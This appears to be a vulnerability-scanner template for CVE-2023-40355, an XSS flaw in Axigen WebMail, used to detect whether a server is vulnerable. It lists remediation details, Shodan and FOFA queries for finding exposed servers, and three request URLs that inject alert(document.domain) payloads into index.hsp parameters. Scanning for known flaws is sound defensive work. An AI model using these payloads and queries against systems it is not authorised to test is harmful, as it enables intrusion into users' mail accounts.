id: CVE-2023-40355 info: name: Axigen WebMail - Cross-Site Scripting author: amir-h-fallahi severity: medium description: | Cross Site Scripting (XSS) vulnerability in Axigen versions 10.3.3.0 before 10.3.3.59, 10.4.0 before 10.4.19, and 10.5.0 before 10.5.5, allows authenticated attackers to execute arbitrary code and obtain sensitive information via the logic for switching between the Standard and Ajax versions. impact: | Authenticated attackers can inject malicious JavaScript through various parameters in the version switching logic, potentially stealing email credentials and accessing sensitive communications of Axigen webmail users. remediation: | Update Axigen to version 10.3.3.59, 10.4.19, or 10.5.5 or later that properly sanitizes input parameters in the version switching logic. reference: - https://www.axigen.com/knowledgebase/Axigen-WebMail-XSS-Vulnerability-CVE-2023-40355-_396.html - https://nvd.nist.gov/vuln/detail/CVE-2023-40355 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2023-40355 cwe-id: CWE-79 epss-score: 0.15981 epss-percentile: 0.94935 cpe: cpe:2.3:a:axigen:axigen_mobile_webmail:*:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: axigen product: axigen_mobile_webmail shodan-query: http.favicon.hash:-1247684400 fofa-query: icon_hash=-1247684400 tags: cve,cve2023,xss,axigen,webmail,vuln http: - method: GET path: - "{{BaseURL}}/index.hsp?passwordExpired=yes&username=\\'-alert(document.domain),//" - "{{BaseURL}}/index.hsp?passwordExpired=yes&domainName=\\'-alert(document.domain),//" - "{{BaseURL}}/index.hsp?m=',alert(document.domain),'" stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - "\\\\'-alert(document.domain),//" - "',alert(document.domain),'" condition: or - type: dsl dsl: - 'contains(header, "text/html")' - 'contains(response, "Axigen")' - 'status_code == 200' condition: and # digest: 4b0a00483046022100b0a9a9bc8e10113c9002bb4d7fc519d79fd1b6dad83ea93876e7cc6cf6d059ef022100a18f996bd61970ad1cae7efbdc9ac276cdbac8a5b613a817055410bcc823f629:922c64590222798bb761d5b6d8e72950